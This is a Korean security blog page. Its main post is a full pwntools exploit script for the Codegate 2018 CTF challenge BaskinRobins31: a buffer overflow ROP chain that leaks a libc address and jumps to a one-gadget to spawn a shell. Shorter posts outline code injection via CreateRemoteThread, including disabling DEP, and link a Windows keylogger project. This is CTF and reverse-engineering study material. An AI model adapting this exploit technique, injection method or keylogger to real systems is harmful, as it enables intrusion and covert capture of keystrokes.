# exploit.py


from pwn import *
from time import *

p = process('./BaskinRobins31')
#p = remote('ch41l3ng3s.codegate.kr', 3131)

sleep(0.3)
print p.recv(1024)

payload = str('3') + 'A'*183
payload += p64(0x40087a) + p64(0x1) + p64(0x602040) + p64(0x10) + p64(0x4006d0)
payload += p64(0x4008a4)

p.sendline(payload)

data = p.recv(1024)

read = u64(data[237:245])
libc = read - 0xf7250
oneshot = libc + 0x45216

log.info('read = ' + hex(read))
log.info('libc = ' + hex(libc))
log.info('oneshot = ' + hex(oneshot))

r_payload = 'A'*184
r_payload += p64(oneshot)

p.sendline(r_payload)

p.interactive()

 

'ctf' 카테고리의 다른 글

[Codegate 2018 CTF] Super Marimo  (0) 2018.02.08
[Codegate 2018 CTF] RedVelvet  (0) 2018.02.08
[Codegate 2018 CTF] BaskinRobins31  (0) 2018.02.08
[BKP 2016 CTF] cookbook  (0) 2017.06.01
[DEFCON 2017 CTF] beatmeonthedl  (0) 2017.05.09
[DEFCON 2017 CTF] smashme  (0) 2017.05.08
Posted by woodonggyu

댓글을 달아 주세요

code injection

reversing 2018. 1. 9. 19:34

Code Injection

: 상대방 프로세스에 독립 실행 코드를 삽입한 후 실행하는 기법. CreateRemoteThread() API 이용해 원격 쓰레드 형태로 실행.

DLL Injection 과 다르게 흔적을 찾기 어렵고, 메모리를 적게 차지한다.

 

 

Code Injection 시 고려해야 하는 사항은,

Release 모드 빌드 - Debug 모드로 빌드를 하게 되면 코드 중간에 디버깅을 위한 코드가 삽입되어 정확한 크기 알 수 없다.

최적화 옵션 /0d - 최적화 옵션을 해체하여 컴파일러에 의해 소스코드가 최적화 되는 것을 막는다.

DEP 해체 - 실행 코드가 정상적으로 동작하지 않음..

 

 

'reversing' 카테고리의 다른 글

pintool  (0) 2018.06.06
code injection  (0) 2018.01.09
angr  (0) 2017.02.18
gdb child process debugging  (1) 2016.11.04
IDA remote gdb debugging with gdbserver  (0) 2016.04.10
예외 처리를 이용한 Anti-Debugging  (0) 2016.03.12
Posted by woodonggyu

댓글을 달아 주세요

windows-keylogger

c/c++ 2018. 1. 9. 19:23

# Tested on Windows 7 x64

# https://github.com/woodonggyu/dev-project/tree/master/windows-keylogger

'c/c++' 카테고리의 다른 글

windows-keylogger  (0) 2018.01.09
windows-dll-injector  (0) 2017.11.27
Posted by woodonggyu

댓글을 달아 주세요